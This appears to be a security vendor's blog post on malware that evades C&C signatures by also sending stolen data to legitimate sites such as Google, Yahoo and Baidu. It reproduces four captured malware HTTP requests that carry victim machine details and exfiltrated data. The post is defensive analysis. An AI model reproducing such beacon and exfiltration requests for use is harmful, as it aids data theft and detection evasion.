At Lastline, we use different approaches to detect Command & Control (C&C) servers used by attackers to remotely control compromised machines. These approaches are based on diverse assumptions that we have about C&C servers. One of our methods relies on classical network signatures to describe how C&C traffic looks like. Obviously, such network signatures have drawbacks and attackers constantly try to circumvent these signatures, for example to confuse analysis systems used by security experts in the field.

In today’s example, we study one particular kind of signature evasion approach that we often see in practice. Every day, we observe network traffic that contains suspicious data (e.g., credentials stolen on a compromised machine, status reports generated by a bot, or some kind of personal info that is exfiltrated), but this data is not only sent to the actual C&C server, but also to a legitimate domain like google.com and baidu.com.

Consider the following four examples of (slightly obfuscated) HTTP requests that we observed in our analysis environment:

POST /Count/Count.asp HTTP/1.1
Accept: Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: MyApp
Host: www.baidu.com
Content-Length: 85
Cache-Control: no-cache
Mac=12-34-56-78-90-12&Os=Windows+XP&Ver=20091107&Key=...

GET /webcontroller/alive.php?key=anthonyrules&pcuser=XXX&pcname=XXX&hwid=XXX&country=XXX HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: yahoo.com
Connection: Keep-Alive

GET /webcontroller/alive.php?key=crs%2Ec0dereality&pcuser=XXX&pcname=XXX&hwid=XXX&country=XXX HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: google.com
Connection: Keep-Alive

POST /ttt.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1115
Host: www.google.com.br
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)
praquem=infect%40gmail%2Ecom&titulo=...

Note that the malware does not forge the “Host:” header, but actually sends data to web servers belonging to well-known brands. We speculate that attackers use this approach to confuse blacklists and signature-based analysis systems: if traffic is sent to a legitimate server like google.com, a (naive) assumption is that this traffic is benign since attackers typically only use such requests to test if the compromised machine is actually connected to the network. As a results, a naive method is to whitelist this kind of traffic, which would lead to a situation in which also suspicious traffic is whitelisted, thus evading the signature generation process. At Lastline, we have several mechanisms in place to prevent this kind of problems and we only flag actual C&C servers as malicious.

Note that the requests to Google and Baidu lead to actual error messages (typically a “404: Not found” or “301: Moved Permanently”  message), but these sites nevertheless receive a copy of the suspicious data contained in a request. As a result, these companies could also analyze the requests they receive and determine which of these connections belong to actual malware infections.